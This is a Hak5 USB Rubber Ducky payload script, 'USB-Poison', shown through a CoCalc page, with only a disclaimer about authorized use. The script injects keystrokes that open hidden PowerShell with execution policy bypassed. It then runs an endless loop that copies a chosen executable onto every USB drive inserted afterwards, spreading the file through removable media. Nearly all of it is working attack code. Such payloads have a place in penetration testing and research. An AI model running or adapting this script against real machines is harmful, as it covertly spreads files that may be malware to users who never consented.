Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/general/USB-Poison/USB-Poison.txt
2968 views
1
REM Author: beigeworm
2
REM Title: USB-Poison
3
REM Target: Windows 10/11
4
REM Description: This script waits for new USB flash storage devices to be connected.
5
REM Description: When a new device connects, this script will copy a desired file to the root of newly connected drive.
6
7
REM **THIS SCRIPT IS INTENDED FOR USE ON SYSTEMS YOU OWN OR HAVE BEEN GIVEN PERMISSION TO USE!**
8
9
REM Define the local path to your file to copy.
10
DEFINE #FILEPATH path/to/your/file.exe
11
12
REM Funtion to detect Windows is ready for keystrokes
13
EXTENSION PASSIVE_WINDOWS_DETECT
14
REM VERSION 1.1
15
REM AUTHOR: Korben
16
17
REM CONFIGURATION:
18
DEFINE #MAX_WAIT 150
19
DEFINE #CHECK_INTERVAL 20
20
DEFINE #WINDOWS_HOST_REQUEST_COUNT 2
21
DEFINE #NOT_WINDOWS 7
22
23
$_OS = #NOT_WINDOWS
24
25
VAR $MAX_TRIES = #MAX_WAIT
26
WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))
27
DELAY #CHECK_INTERVAL
28
$MAX_TRIES = ($MAX_TRIES - 1)
29
END_WHILE
30
IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN
31
$_OS = WINDOWS
32
END_IF
33
34
END_EXTENSION
35
IF $_OS != WINDOWS
36
LED_R
37
STOP_PAYLOAD
38
END_IF
39
40
REM Main bad-USB script
41
LED_G
42
GUI r
43
DELAY 500
44
STRINGLN powershell -Ep Bypass -W H
45
DELAY 3000
46
STRINGLN $file="#FILEPATH";while($true){$initialDrives=Get-WMIObject Win32_LogicalDisk | ? {$_.DriveType -eq 2} | select DeviceID;while($true){$currentDrives=Get-WMIObject Win32_LogicalDisk | ? {$_.DriveType -eq 2} | select DeviceID;$newDrive=$currentDrives | Where-Object { $initialDrives.DeviceID -notcontains $_.DeviceID};if($newDrive){$drive=Get-WMIObject Win32_LogicalDisk | ? {$_.DriveType -eq 2} | Where-Object {$initialDrives.DeviceID -notcontains $_.DeviceID};$driveletter=($drive.DeviceID + '/');Copy-Item -Path $file -Destination $driveletter;sleep 1;break}sleep 1}}
47
48